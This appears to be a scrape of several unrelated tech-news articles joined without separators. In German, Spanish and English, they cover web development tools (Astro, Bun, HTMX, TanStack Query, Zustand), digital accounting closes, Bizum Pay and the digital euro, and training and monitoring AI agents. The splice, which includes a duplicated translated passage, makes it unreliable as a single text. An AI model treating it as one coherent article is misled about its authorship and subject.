Anstatt eine Vielzahl manueller Fetches zu verwenden, die an useState-Aktualisierungen geknüpft sind (zusammen mit anfälligen isLoading-Flags und komplexer Logik zur State-Synchronisation), abstrahiert TanStack Query die aufwendige Arbeit, die mit API-Antworten, Hintergrundaktualisierungen und der Duplikatsbereinigung von Anfragen verbunden ist. Übrig bleiben einige wenige, elegante Hooks. Diese teilen TanStack Query mit, woher die Daten bezogen werden sollen. Dabei nutzt das Tool ein Muster namens „stale-while-revalidate“. Soll heißen: Daten werden im Frontend zwischengespeichert, wiederverwendet (wodurch Reload-Wartezeiten entfallen) und im Hintergrund mit dem aktuellen State synchronisiert.

Der Haken daran ist allerdings, dass TanStack Query Sie dazu zwingt, sich einem der hartnäckigsten Informatik-Probleme direkt zu stellen: der Cache-Invalidierung. Sie werden also Zeit damit verbringen, über „Query Keys“ zu sinnieren und damit, zu entscheiden, wann ein Datenelement als „veraltet“ gelten soll.

Auch interessant: SWR. Während TanStack Query ein absolutes Kraftpaket für komplexe Datenmanipulation ist, bleibt SWR ein Vorreiter des API-Minimalismus. Es tut genau das, was sein Name andeutet (stale-while-revalidate) – und das fast ohne lästige Konfiguration.

8. Zustand

Falls Sie noch nicht mit dem Albtraum des großangelegten State Managements in einer reaktiven App konfrontiert wurden, ein kleiner Spoiler: Das kann ziemlich unangenehm werden. Oder Sie nutzen Zustand und verzichten einfach auf den zeremoniellen Boilerplate-Code aus Reducern, Providern und unhandlichen Context-Wrappern. Ersetzt wird das durch einen winzigen, brutal simplen, globalen Speicher.

Anstatt Ihren gesamten Anwendungsbaum in einen massiven React-Context-Provider zu zwängen (was manchmal zu einer Kaskade überflüssiger Neu-Renderings im gesamten DOM führt), nutzt Zustand benutzerdefinierte Hooks, um den State direkt an die spezifischen Komponenten zu binden, die ihn benötigen. Dabei strebt das Tool danach, die Spezifität im reaktiven VDOM-Modell zu erreichen (anstatt sie à la Signals vollständig zu eliminieren). Sie definieren einen Store, rufen ihn auf – und die Reaktivität funktioniert einfach. Der Preis für diese Befreiung ist die Last der Disziplin: Zustand hindert Sie nicht daran, Ihren globalen Speicher in eine überfüllte Deponie zu verwandeln. Entwickler müssen Ihre eigenen Konventionen und Guardrails einziehen, um großangelegte Projekte überschaubar zu halten.

Auch interessant: Jotai. Wenn Zustand der schlank gehaltene globale Store ist, dann ist Jotai der schlank gehaltene, atomare Ansatz. Dieses Tool verwaltet den State „von unten nach oben“ und berechnet Änderungen mit chirurgischer Präzision – ohne dabei massive Neu-Renderings im gesamten Application Tree auszulösen. (fm)

Dieser Artikel ist im Original bei unserer Schwesterpublikation Infoworld.com erschienen.

Las tecnologías permiten transformar el cierre de cuentas de un ‘evento’ anual, manual y estresante en una capacidad continua, integrada, segura y útil para la gestión, en línea con la visión Tax Administration 3.0 de la OCDE.

Base digital: identidad y datos

El cierre moderno se basa en la identificación segura y los datos de calidad. Las identidades digitales interoperables, tal y como se describen en el informe Tax Administration Digitalisation and Digital Transformation Initiatives de la OCDE, simplifican las interacciones con las autoridades fiscales, los centros de servicios compartidos y la externalización, reduciendo los errores de identificación y los accesos indebidos.

La gobernanza de los datos es fundamental: coherencia de los planes contables, datos maestros limpios, conciliaciones sistemáticas entre ERP, facturación electrónica, nóminas y tesorería. La tecnología impone la validación automática, los flujos de trabajo y las alertas, evitando los ajustes de última hora.

Integración y automatización del ciclo

La aproximación entre los ‘sistemas naturales’ (facturación, ERP, comercio electrónico, banca, salarios) y la contabilidad, potenciada por las API proporcionadas por las administraciones fiscales, alinea los datos internos y fiscales en tiempo real: la facturación refleja automáticamente el IVA; los salarios alimentan los costes y las retenciones; los bancos concilian por rutinas; el IVA y el Impuesto sobre Sociedades se comparan de inmediato.

Las plataformas de gestión de cierres organizan tareas, plazos, aprobaciones y paneles de control; la RPA (en español, Automatización Robótica de Procesos) se encarga de las conciliaciones simples, las amortizaciones y los archivos de terceros, mientras que la facturación electrónica facilita los cierres del IVA y permite adelantar los cruces de información fiscal.

IA y analítica en el control del cierre

La inteligencia artificial (IA), ya ampliamente utilizada por las administraciones fiscales en la detección de fraudes, la evaluación de riesgo y la atención virtual, inspira el uso de algoritmos de detección de anomalías en el cierre, actuando como un “segundo par de ojos” sobre movimientos fuera de lo normal, combinaciones improbables de cuentas, fechas incoherentes y variaciones abruptas de saldos o ratios. Estos modelos permiten concentrar el esfuerzo humano en las áreas de mayor riesgo, aumentando la probabilidad de identificar errores o fraudes antes de la emisión de los estados financieros.

Las soluciones de lectura y clasificación automática de documentos sugieren asientos contables adecuados a partir de facturas y otros comprobantes, lo que reduce el tiempo de tramitación atrasada, mientras que los modelos predictivos respaldan las estimaciones de provisiones basadas en historiales, datos macroeconómicos y comportamientos de los clientes. Las herramientas de business intelligence proporcionan paneles de control diarios sobre las tareas completadas, las conciliaciones pendientes, las filiales con más discrepancias y las cuentas que requieren un escrutinio, lo que proporciona al director financiero una visión objetiva y continua del estado del cierre.

Personas, competencias y gobernanza

La digitalización del cierre exige un cambio profundo en las competencias y la cultura: el equipo de Contabilidad deja de centrarse en la introducción de datos para asumir un papel más analítico, centrado en el diseño de procesos, la interpretación de la información y la gestión de riesgos, con conocimientos suficientes en ERP, reporting, BI, integración con la administración tributaria, IA y seguridad de la información. Las organizaciones y las administraciones fiscales están invirtiendo en formación continua y perfiles híbridos de finanzas y TI, reforzando las capacidades de liderazgo y gestión del cambio para apoyar los proyectos de transformación digital.

El liderazgo financiero debe abordar la modernización del cierre como un programa estratégico, con una gobernanza formal, prioridades claras, recursos alineados e indicadores de éxito, posicionando al director financiero como coarquitecto de la transformación y no solo como consumidor de tecnología.

Hoja de ruta por fases para el cierre digital

Un enfoque práctico empieza por revisar cómo se cierra hoy: cuánto tarda y cuánto esfuerzo requiere, qué partes se hacen a mano, cuánto se depende de hojas de cálculo, cuántos sistemas intervienen y hasta qué punto se aprovechan las herramientas digitales que ya ofrece la administración tributaria (APIs, datos prellenados, consultas online e integración con software certificado).

En una primera fase, se privilegian las victorias rápidas: automatización de conciliaciones simples, listas de verificación, repositorios estructurados de documentación e informes básicos de seguimiento, lo que genera ganancias visibles en materia de organización y confianza.

En una fase posterior, se refuerza la integración entre sistemas, la alineación de planes contables, el vínculo entre la facturación electrónica y la contabilidad, y la arquitectura de datos con responsabilidades claras y un control continuo de la calidad.

Conclusión: del cierre como ‘evento’ al cierre como ‘capacidad’

La digitalización hace evolucionar el cierre hacia una capacidad permanente con sistemas integrados, datos fiables y equipos cualificados. Las tecnologías aceleran, mejoran la seguridad, se alinean con la fiscalidad y liberan para el análisis estratégico.

Para los profesionales, es un reto y una oportunidad: invertir en competencias para reposicionar el cierre como pilar de la gobernanza y el valor. Las empresas manuales se arriesgan a quedarse atrás; el camino está marcado por las directrices de la OCDE y las soluciones maduras. Hay que decidir: ¿espectador o protagonista?

El autor de este artículo es Pedro Montez, gerente de vigilancia legal para Iberia y África en Cegid. Este directivo tiene una amplia experiencia en transformar cuestiones legales y contables complejas en soluciones prácticas, ayudando a empresas de diversos sectores a lograr mayor eficiencia y cumplimiento normativo.

Fue una de esas noticias que, de cuando en cuando, dan para titulares en varias secciones y en varios tipos de medios. Bizum había llegado a las tiendas. La compañía lanzó este mayo Bizum Pay y, aunque en este primer momento solo se podía usar como medio de pago conectado a dos bancos, la historia adquirió casi tonos de viralidad. “Está generando mucho interés entre las personas usuarias y en los comercios, estos últimos incluso están hablando con sus entidades para poder activar el pago con Bizum”, confirma por correo Martín Azcue, director de Desarrollo de Negocio de Bizum, que señala que el proceso está “yendo según la hoja de ruta marcada”. Los bancos adheridos, indica, “han iniciado la extensión progresiva del pago presencial de Bizum, a través de NFC y de cuenta a cuenta, tanto para particulares como para comercios”. La funcionalidad irá aumentando a lo largo de los meses y, para cierre de año, la mayoría de sus clientes podrán pagar en comercios usando Bizum Pay.

Pero ¿por qué de pronto parecía que todo el mundo estaba obsesionándose con una forma de pago y una aplicación tecnológica? El entusiasmo, responde desde Bizum, viene de que son una marca conocida y con experiencia, respaldada por la banca. “La recepción ha sido muy positiva, lo que nos tomamos como una responsabilidad para seguir trabajando en dar ofrecer la mejor solución posible”, señala Azcue.

Desde fuera, este momento de estrellato podría tener unas cuentas lecturas posibles, muchas de ellas vinculadas con cómo la geopolítica y la tendencia emergente a la soberanía digital (ese término que está también de rabiosa actualidad en TI) hacen que se vean las cosas.

Soberanía en los pagos

“Creo que el hype que se ha generado con Bizum Pay no está muy bien acompasado”, explica por videollamada Tomás Golding, responsable de banca en VASS. “Bizum empezó hace ya tiempo, como un mecanismo de pagos peer-to-peer”, indica. “Ahora, metemos en la ecuación el pago dentro del comercio”. La fiebre primaveral que ha generado ayuda a “generar un awareness de marca”, apunta el experto, pero Golding cree que ese boom no ha ido “acompasado con el momento del mercado y a lo preparadas que están las infraestructuras y, sobre todo, los sistemas de los comercios”.

Esta es, simplemente, una alternativa más, apunta, pero una que ofrece resiliencia operativa, en un momento en el que “Europa, y específicamente España, se plantea reducir de los esquemas de pago internacionales de alguna manera”. El 61% de todos los pagos que se realizan con tarjeta en la Eurozona se hacen con Visa y Mastercard, empresas estadounidenses, que asumen además prácticamente la totalidad de las operaciones transfronterizas. Estas compañías deben cumplir las leyes de EEUU, lo que puede tener consecuencias en Europa. El apagón tecnológico en el que están sumidos los miembros del Tribunal de La Haya sancionados por la administración Trump es una muestra de lo que podría pasar si los intereses de EEUU chocan con los europeos.

En estos últimos años, Europa ha empezado a priorizar la soberanía digital (justo, la Comisión acaba de presentar su Paquete de Soberanía Tecnológica) y los pagos son uno de los retos a gestionar. Lo saben los organismos públicos y también la industria de la banca y los pagos. Este es, así, un contexto en el que cualquier novedad europea, como el propio Bizum Pay, tiene un terreno abonado para despertar interés. La propia Bizum, de hecho, permite ya hacer pagos a Italia o Portugal (o recibirlos) y trabaja para cerrar acuerdos con compañías de Polonia y países nórdicos. El objetivo final del mercado es conseguir soluciones propias, interoperables y que reduzcan la dependencia de actores de fuera del continente.

 “El concepto soberanía y resiliencia van muy de la mano porque sabemos que las infraestructuras de pagos son críticas para los estados centrales y para los países”, señala Golding. Este experto recuerda que el reglamento Dora ya habla de estas cuestiones. No es, así, un término del todo nuevo. Aunque, como suma Rubén Andrés, CIO de Singular Bank, “el concepto de soberanía digital ha evolucionado mucho en muy poco tiempo”. “Hace unos años hablábamos principalmente de eficiencia tecnológica. Hoy hablamos también de resiliencia, control del dato, capacidad operativa y autonomía estratégica”. Lo ocurrido en los últimos años han acelerado las cosas y la IA ha hecho que estos temas sean aún más prioritarios en la agenda.

Esta es, así, una cuestión con muchas facetas y en la que la tecnología tendrá (o, mejor dicho, tiene ya) un papel fundamental. Como apunta Andrés, “la banca europea depende todavía en muchos ámbitos de infraestructuras globales críticas”. “La clave no está en aislarse, sino en construir plataformas resilientes capaces de integrarse con distintos ecosistemas sin perder control, trazabilidad ni capacidad de decisión mientras garantizan la continuidad con la redundancia oportuna”, asegura.

La industria trabaja en seguridad, en protección, en crear infraestructuras robustas, algo que impacta en cómo se estructura su infraestructura TI. Andrés habla de “una evolución clara hacia modelos híbridos: aprovechar capacidades globales, pero construyendo capas propias de inteligencia, gobierno e interoperabilidad”.

Rubén Andrés (Singular Bank) subraya que “el euro digital representa mucho más que un nuevo medio de pago: es uno de los primeros grandes movimientos hacia una infraestructura financiera europea nativamente digital, interoperable y preparada para una interacción financiera más automatizada e inteligente”

Qué es el euro digital

En esas capas propias podrían entrar también las nuevas propuestas. La Unión Europea trabaja para lanzar el euro digital y, aunque el proyecto cuenta con alguna oposición tanto política como de la industria, su lanzamiento cambiará de nuevo el panorama.

“El euro digital es dinero del Banco Central, pero en formato digital”, explica Golding. “En los tecnicismos, lo llamamos CBDC, Central Bank Digital Currency. Dicho de forma sencilla, es el equivalente a un billete, pero pensado en un mundo más móvil”. En lugar de emitir billetes físicos (e imprimirlos), se crean billetes digitales. “Tendrá un valor uno a uno”, indica el experto. El euro digital no es, por tanto, ni una criptomoneda ni una moneda totalmente nueva. Es el euro de siempre en otro formato. La distribución la harán los mismos bancos comerciales que ahora guardan nuestro dinero y se guardarán en alguna app o wallet.

Y tampoco es una idea exactamente nueva: como apunta el experto, se empezó a hablar de ello en 2023, aunque no fue en 2025 cuando se pasó a la primera fase preparatoria. “En enero de este año se publicaron los objetivos y todo el calendario del proceso de proveedores piloto”. Si todo sigue lo previsto, el euro digital llegará en 2029.

La caída del uso de dinero físico en la zona euro y el crecimiento de uso de pasarelas digitales explican el interés por lanzar un formato digital, pero no solo. Como apunta el experto de Vass, también tiene un matiz de qué dinero empleamos. “El efectivo es, hoy, la única forma de dinero público que tiene en la mano el ciudadano. Todo lo demás es dinero privado, o que circula por redes privadas”. A medida que se reduce el efectivo se reduce también la presencia de dinero público y, con ello, “se debilita el ancla de confianza que aporta un banco central a todo el sistema”.

Por ello, sumando todo esto a la necesidad de reducir la dependencia de redes pagos no europeas, el euro digital emerge como potencial herramienta. Algo que encaja, además, con una tendencia que va más allá de Europa. “Es un movimiento reactivo que muchos países ya se están planteando”, apunta Golding.

“El euro digital representa mucho más que un nuevo medio de pago”, señala Andrés. “Es probablemente uno de los primeros grandes movimientos hacia una infraestructura financiera europea nativamente digital, interoperable y preparada para un mundo donde la interacción financiera será cada vez más automatizada e inteligente”, explica.

Tomás Golding (VASS) explica que la incorporación de herramientas como el euro digital no solo implica una transformación tecnológica, sino una adaptación a más niveles, por ejemplo, contables

Una escalada de cambios TI

En paralelo, el euro digital encaja en un proceso que va más allá, que tiene un impacto más estructural y que, a su vez, cambiará las cosas a nivel TI. “La llegada del euro digital, la IA generativa y los modelos agentic están impulsando un cambio de paradigma tecnológico”, asegura Andrés. El CIO apunta que “el verdadero cambio no estará únicamente en la moneda, sino en cómo evolucionará la intermediación financiera”. Por ejemplo, en el futuro no tan lejano podríamos usar agentes inteligentes para que gestionasen nuestras cuentas y eso obligará a nuestros bancos a reajustar bastantes cosas.

 “Eso obliga a repensar completamente la arquitectura tecnológica de las entidades”, asegura Andrés. “Ya no hablamos únicamente de canales digitales, sino de ecosistemas interoperables preparados para convivir con agentes autónomos, modelos de IA y procesos financieros en tiempo real que liberen tiempo para el trato humano”, destaca. En su banco, ya trabajan “desarrollando capacidades de arquitectura agentic e inteligencia contextual alrededor de iniciativas como Singularity”, un asistente desarrollado sobre Open AI.

La transformación digital de la industria bancaria se acelerará, apunta este directivo, pero también tendrá que ser ambiciosa. No va ya de crear canales digitales friendly o arquitecturas robustas (que también), sino de mejorar la interoperabilidad, la respuesta en tiempo real o la respuesta a agentes. “El reto ya no es únicamente mejorar la experiencia cliente. El gran desafío será construir experiencias inteligentes de extremo a extremo”.

En conclusión, el reto al que se enfrenta la industria es complejo. Como explica Golding, la incorporación de herramientas como el euro digital no se trata solo de una transformación tecnológica, sino una adaptación a más niveles (por ejemplo, contables). “El Banco Central Europeo habla de que esta primera fase inicial podría suponer una inversión de unos 1300 millones de euros”, apunta. “El sector bancario tiene unas estimaciones más altas”. Hacer que todo lo nuevo que está apareciendo sea interoperable podría requerir una inversión de entre 18.000 y 30.000 millones de euros en toda la UE, según cifras que comparte Golding. “En sentido estricto, hay que modernizar todos los sistemas subyacentes y con los que los bancos llevan trabajando 60, 70 o más años, el legacy”, apunta, y suma la inversión en nuevos sistemas de identidad o antifraude, más refuerzo de ciberseguridad y gasto en integración. ¿Podrán todos los bancos afrontar una inversión tan elevada? Esa es la gran cuestión.

Pero, además, la industria está en un momento en el que pivotar y digitalizarse es fundamental. “El reto de la modernización es una necesidad”, asegura Golding. Lo requiere el regulador, pero también el flujo del mercado. 

Si se le pregunta a la banca por los retos TI, la respuesta también es clara. “El principal reto tecnológico de la banca ya no es digitalizar procesos. Es construir organizaciones capaces de adaptarse continuamente a un entorno donde la tecnología evoluciona más rápido que nunca”, asegura Andrés. Esto obliga a hacer una transformación cultural, “porque el cambio no es solo tecnológico; es organizativo y humano”, y a comprender que “la tecnología del futuro será cada vez más invisible”. “Lo diferencial será cómo utilizamos esa tecnología para generar confianza, contexto y experiencias relevantes”, augura.

There is no ordained path. The hope that we were converging on some kind of consensus in web development has been eradicated by recent, ingenious developments that point in almost every direction. Yet, if there is a central theme uniting these efforts, it is the desire to mitigate the layers of liturgical embellishment that have grown up around the reactive canon. How can we look at things differently to attain the power that we need, without the heavy intricacy?

Here are eight cutting-edge web development tools that point the way.

Front-end maestro

If you put a bunch of classical musicians in a room together with sheet music and let them run, you might get to a cohesive piece—but you probably want a conductor, a maestro who coordinates all of the parts. That is Astro for your front-end frameworks.

Astro addresses the “hydration” of the front end, that is to say, the process of making the shell reactive. In conventional server-side rendering (SSR), like Next.js or Nuxt, the server not only sends the HTML, but also sends the massive framework runtime down the wire, just to attach event listeners to the page. Astro allows you to write components in React, Svelte, Vue, or Solid, and its compiler strips away all of the JavaScript before it reaches the browser. Astro ships zero JS by default, relying on its islands architecture to hydrate only the specific components that demand interactivity. 

Because Astro isolates interactivity into distinct islands, sharing complex state between those islands (e.g., a complex filtering sidebar communicating with a separate dynamic data grid) is fundamentally harder than it is in a monolithic single-page application. If you are building a highly interactive, dashboard-heavy app where every component affects every other component, Astro’s isolated islands might begin to feel more like a straitjacket than a liberation.

See also: Qwik. If Astro unbloats by stripping away the JavaScript entirely, Qwik unbloats by delaying it. Qwik delivers instant HTML and serializes the application state, downloading and executing only the JavaScript code required for a specific interaction at the exact millisecond the user clicks a button.

Biome: Lint like it’s 2026

Rust is gradually replacing the underlying infrastructure in the JavaScript ecosystem. But while Rust gives Biome its close-to-the-metal speed, Biome’s true calling card is its unification of the sprawling toolchain under a cohesive umbrella.

The .eslintrc and .prettierrc files and the dozen associated plugins can become a dark and unhappy bog in a project. Biome is the way out of the mire. It is a single, blazingly fast binary that replaces your entire tangled formatting and linting ecosystem, providing a path to code quality that doesn’t require a sprawling web of dependencies.

Probably the biggest drawback to Biome is that you lose the wide-open extensibility—which is exactly the same feature that makes Biome lean.

See also: Rspack. Biome cleans up the linting. Rspack unbloats the build step. Also built on Rust for speed, Rspack challenges the new “unbundled” esbuild-based dev mode championed by Vite and uses bundled dev mode.

Bun: Fast and integrated back-end JavaScript

Most cutting-edge JavaScript enthusiasts are already well-aware of Bun. For those who haven’t yet experienced Bun’s enthralling blend of one-stop shopping and blistering speed first-hand, it’s a virtually irrefutable must-try.

Fast is probably an understatement. If you are used to Node and you try out Bun, you will likely be immediately impressed with the speed at which commands execute. The Bun team has also made an extensive, multi-year effort to bring its engine into close compatibility with Node’s APIs. Overall, Bun is an extraordinary engineering effort that every JS developer should explore.

However, while Bun’s Zig-based engine is in most respects a drop-in for Node, it isn’t perfect, especially when considering the gargantuan landscape of Node packages out there. Node remains the conservative, happy-path engine for server-side JavaScript. 

See also: Deno. Although Bun has justifiably earned a reputation for bleeding-edge innovation, Deno has quietly pressed ahead with an appealing set of enterprise features like an integrated deployment platform and a front-end framework (Deno Fresh).

The Bun curious also may want to check out my interview with Bun creator Jared Sumner.

HTMX: Ajax KISS

If we are talking about clever ways to de-complexify the web, HTMX could reasonably be considered the poster-child. It takes the core mechanisms of the modern web client, like Ajax and partial updates, and turns them into simple HTML attributes. That means the state lives exclusively on the server, which is responsible for sending HTMX fragments.

Of course, there are trade-offs. Perhaps most unavoidable is the extreme dependence on the network. Because there is no client-side state machine, the browser will be orphaned and helpless without a connection to the server. That is, unless you get experimental with a local-first datastore.

Long story short: if your app falls into the realm of HTMX’s ability, HTMX is likely to be the most direct RESTful way to build it. And HTMX can in fact handle quite a lot.

See also: Hotwire. A collection of tools for building single-page-style applications using HTML over the wire, Hotwire has great features like page morphing, which can diff HTML instead of cold-loading it, with a simple import. True to classic “free as in speech” software culture, the HTMX and Hotwire projects freely exchange ideas. 

PowerSync: Data layer redo

Although the local-first data revolution that PowerSync represents implies a fairly serious engineering deep dive, its core proposal — to entirely reshape the way data moves in web architecture — is something a web developer needs to be aware of.

Usually, we create architectures that require a complex middleware to broker between a reactive client and the datastore. PowerSync proposes a radical alternative: bypass the middleman entirely by dropping a robust SQLite Wasm database directly into the browser.

The UI works on local data using familiar SQL, synchronously. Latency is zero. The dreaded loading spinner vanishes entirely. In the background, PowerSync automatically reconciles your local store with your central Postgres database. It handles the complex syncing algorithms and network drops, effectively making your application offline-first by default.

The catch, of course, is that local-first development forces a massive mental shift. You have to define data slices (similar to a view) that each client user holds. The PowerSync engine does most of the hard work, but things like schema migrations and conflict resolution (when two users edit the same record while offline) require a significantly steeper initial setup than a standard REST API.

See also: RxDB. RxDB is a slightly different flavor of local-first datastore. Whereas PowerSync relies heavily on Postgres, SQLite, and background daemons, RxDB provides a NoSQL, offline-first, reactive database that treats queries as observable streams, pushing UI updates the exact millisecond the local data changes.

RooCode: Use any AI you want

The beauty of RooCode lies in its ability to orchestrate whatever AI providers you have—for free. RooCode is an extension to Visual Studio Code that provides an AI manager layer. This layer bridges between the general abilities of the LLM and your code-specific, project-level structures.

RooCode is strong enough to be somewhat agentic in its capabilities. It doesn’t reach the powerhouse abilities of something like Cursor or Antigravity, but it is quite able to handle most small to medium-sized requests. And it does so with a minimum of unnecessary overhead. I find myself often using RooCode alongside my AI-assisted IDE to knock out lesser requirements, for less cost and without interrupting the flow of ongoing epics.

RooCode keeps you free of proprietary ecosystems. It allows you to plug in your own API keys—whether that is Claude, OpenAI, or even a local model running on your own hardware. 

The hidden tax of any AI coding assistant, however, is that it fundamentally shifts your job description from “writer” to “editor.” The unbloating of keystrokes can paradoxically lead to massively bloated codebases if developers blindly accept AI-generated boilerplate without actively reviewing its architectural impact. It is incredibly easy to let an agent spin up 500 lines of complex React when 50 lines of plain JavaScript would have done.

See also: Antigravity. RooCode is a lightweight extension that supercharges your existing environment. Google’s Antigravity is a custom-built editor designed from the ground up around AI, geared for agentic development workflows.

TanStack Query: Syncing made simple(r)

Even when client-side state management is addressed (see Zustand below), there is still a big, gaping hole in the plot: syncing across the server boundary. That is where TanStack Query steps into the breach.

Distributed computing is a notoriously thorny problem, and in fact our standard reactive model walks right into these thorns by holding the same state in two different places: on the client and the server.  Tanstack Query tries to make this inherent architectural friction as painless as possible by acting as an intelligent asynchronous layer. 

Instead of using a bunch of manual fetches tied to useState updates, along with fragile isLoading flags and complex state synchronization logic, TanStack Query abstracts the heavy lifting of API responses, background updates, and request deduplication into a few elegant hooks. You tell TanStack Query where to get the data, and it uses a pattern known as “stale-while-revalidate,” which means it will cache and reuse data on the front end (eliminating reload waits) and sync to the latest state in the background.

The catch, however, is that cache invalidation remains one of the hardest problems in computer science—and TanStack Query forces you to face it head-on. You will spend time thinking about “query keys” and deciding when a piece of data should be considered “stale.” No free lunches in software.

See also: SWR. While TanStack Query is an absolute powerhouse for complex data manipulation, SWR remains a champion of API minimalism, doing exactly what its name implies (stale-while-revalidate) with almost zero configuration.

Zustand: Minimalist state

If you have yet to encounter the monstrosity of large-scale state management in a reactive app, then spoiler alert: it can be nasty. Zustand proposes to dispense with the ceremonial boilerplate of reducers, providers, and unwieldy context wrappers in favor of a tiny, brutally simple global store.

Instead of forcing your entire application tree into a massive React context provider (sometimes leading to cascades of superfluous re-renders across the DOM), Zustand uses custom hooks to tie state directly to the specific components that need it. Zustand strives to achieve the specificity in the VDOM reactive model (instead of eliminating it entirely a la Signals).

You define a store, you call it, and the reactivity just works. It is an expression of the KISS philosophy applied to front-end architecture, scraping away the intricacies of Flux-like patterns. The trade-off for this liberation is the burden of discipline. Because Zustand is unopinionated, it won’t stop you from turning your global store into a cluttered junk drawer. You’ll need to impose your own conventions and guardrails to keep a large-scale project manageable.

See also: Jotai. If Zustand is the unbloated global store, Jotai is the unbloated atomic approach. Jotai manages state from the bottom up, calculating changes with surgical precision without triggering massive re-renders across the application tree.

New directions in web development

The most remarkable thing about these eight tools is that they deal in large part with alternative approaches that challenge the familiar. Although you may not be able to adopt them immediately, you will want to keep an eye on them. They are key factors that will continue to influence the shape of web applications and how we build them.

Cada vez más compañías incorporan agentes de IA con la expectativa de ganar eficiencia y reducir costes. Pero cuando se analizan los resultados, el impacto real suele ser limitado. Muchas iniciativas no superan la fase piloto o generan experiencias irregulares que obligan al cliente a repetir gestiones o regresar al canal humano.

El problema ya no es la tecnología. Los modelos son accesibles, potentes y evolucionan a gran velocidad. La diferencia está en cómo se entrenan, se integran y se gestionan dentro de la operativa diaria. La IA no falla por falta de capacidad técnica; falla cuando se despliega sin conocimiento del negocio.

La IA no es escalable sin conocimiento operativo

Un agente virtual puede responder preguntas desde el primer día. Lo que no puede hacer sin entrenamiento adecuado es entender cómo funciona realmente la compañía a la que representa.

Cada organización tiene procesos propios, excepciones frecuentes, reglas internas y una forma concreta de relacionarse con sus clientes. Ese conocimiento no está en el modelo de IA. Está en las personas que gestionan la operación cada día.

Cuando ese conocimiento no se traslada al agente conversacional, el resultado son respuestas correctas en teoría, pero desconectadas de la realidad. El agente informa, pero no resuelve. Conversa, pero no ejecuta. Y lo que parecía una mejora de eficiencia termina generando más derivaciones, más fricción y más repetición de contacto.

Por eso muchos proyectos no consiguen ganar dimensión. Para que un agente basado en IA escale de verdad, debe adaptarse a la complejidad real del negocio. Y eso exige método.

Cuatro niveles para entrenar un agente de IA de forma eficaz y segura

Para que un agente de IA sea realmente efectivo en un entorno corporativo, estructuramos su entrenamiento en cuatro niveles críticos que van desde la base del conocimiento hasta la ejecución técnica.

Nivel 1: Estructuración del conocimiento (la base)

Aquí se concentra aproximadamente el 70% del éxito del agente. No basta con proporcionarle información. Es necesario limpiar, curar y estructurar manuales, procedimientos y reglas operativas para convertirlos en una fuente de verdad sólida y sin ambigüedades. El objetivo aquí es garantizar que el agente aprende sobre procesos reales, no sobre documentos desactualizados o contradictorios. Si la base es débil, todo lo demás falla.

Nivel 2: Evaluación operativa (la supervisión)

Una vez que el agente comienza a interactuar con clientes, entra en una fase de supervisión constante. Se revisan conversaciones reales para asegurar que el tono es adecuado y, sobre todo, para detectar posibles respuestas dañinas. Aquí se evitan riesgos reputacionales y errores económicos, como promesas comerciales incorrectas por no entender bien el contexto. Esta supervisión continua convierte al agente en un sistema controlado y fiable.

Nivel 3: Ajuste y calibración (el refinamiento)

En esta fase se aplica criterio humano para pulir el comportamiento del modelo. Si se detectan confusiones o interpretaciones incorrectas, se ajustan las instrucciones internas y el prompting. El objetivo no es que la IA memorice respuestas rígidas, sino que comprenda la intención real del cliente de forma fluida y adaptable. Este nivel marca la diferencia entre un agente que responde y uno que entiende.

Nivel 4: Integración técnica (la acción)

El último nivel permite que el agente deje de ser un informador y se convierta en un verdadero resolutor. Para ello, se conecta con los sistemas internos de la compañía (CRM, ERP o bases de datos corporativas). Es esta integración la que hace posible que el agente consulte un saldo, modifique un contrato o ejecute una transacción de principio a fin de forma segura. Sin integración, la IA conversa. Con integración, la IA actúa.

‘Human in the loop’: operar la IA como operamos un equipo

En la gestión de personas nadie espera resultados sin formación, seguimiento y mejora continua. Con la IA ocurre exactamente lo mismo. El modelo Human in the Loop implica operar la inteligencia artificial con la misma lógica con la que se gestiona un equipo humano: formar, supervisar y mejorar cada día. Revisar conversaciones reales, ajustar comportamientos y corregir desviaciones antes de que impacten en el cliente.

Cuando se aplica esta disciplina, el agente deja de ser un experimento tecnológico y se convierte en una pieza integrada en la mecánica de la relación con el cliente. No trabaja aislado: está conectado a los sistemas, coordinado con los equipos y alineado con los objetivos del negocio.

De proveedor tecnológico a partner estratégico

La conversación sobre IA en experiencia de cliente ha evolucionado. Ya no gira en torno a qué herramienta elegir, sino a quién tiene la capacidad de gestionarla con criterio y conocimiento operativo. Las compañías no necesitan más tecnología. Necesitan capacidad para convertirla en resultados medibles y sostenibles.

Una vez que la IA se integra en la operativa real, el contact center se convierte en el entorno natural donde esa tecnología se entrena, se supervisa y se mejora. Es ahí donde confluyen conocimiento de procesos, visión transversal del cliente y capacidad de ejecución.

Es importante que las empresas del sector abordemos la IA desde esta lógica: no como un producto aislado, sino como una capacidad operativa que se entrena cada día. Por ello, acompañamos a las compañías a lo largo de todo el ciclo de vida del cliente, desde el diseño de la experiencia hasta la operación diaria. No se trata solo de desplegar agentes conversacionales, sino de entrenarlos, supervisarlos, calibrarlos e integrarlos con el mismo rigor con el que se gestiona un equipo humano.

La experiencia de cliente del futuro no se construye instalando tecnología y esperando resultados. Se construye combinando personas y sistemas, incorporando el conocimiento del negocio a cada decisión y gestionando la inteligencia artificial con disciplina operativa.

>

Los CIO que se apresuran a desplegar agentes de IA sin visibilidad real sobre sus procesos de toma de decisiones están coqueteando con el desastre. Según expertos en IA consultados, desplegar agentes sin procesos y herramientas de observabilidad crea una bomba de relojería con un potencial de consecuencias negativas muy graves.

Muchas empresas están desplegando agentes de IA y esperan que aumenten la productividad con poca intervención humana, observa T.J. Marlin, CEO de la firma de seguridad de IA Guardrail Technologies. Ese es un enfoque equivocado, afirma. En su lugar, los equipos de TI necesitan vigilar de cerca a los agentes y ajustar políticas y prácticas a lo largo de todo el proceso agentivo. “No se trata solo de configurarlo y olvidarse”, dice. “Las organizaciones que hacen eso van a salir en las noticias porque les habrá ocurrido algo terrible”.

Muchas organizaciones están desplegando agentes rápidamente por miedo a quedarse atrás, sin entender los matices de la tecnología, señala Marlin. Algunos responsables de TI parecen comparar los agentes con la automatización robótica de procesos (RPA), cuando los resultados de RPA son mucho más deterministas, añade.

“Hay escasez de talento y de conocimiento y las personas están construyendo a gran velocidad sin comprobar si es correcto y si funciona como se espera”, afirma. “Todos esos son rasgos característicos de los peores desastres que he visto a lo largo de mi carrera”.

Un informe reciente del proveedor de gobernanza de agentes TrueFoundry pone cifras a los temores sobre agentes sin regulación. Una encuesta a más de 200 responsables de IA empresarial concluyó que el 54% de las organizaciones representadas no puede rastrear completamente lo que hacen sus agentes y el 56% no tiene un control centralizado de agentes ni una capa de gobernanza.

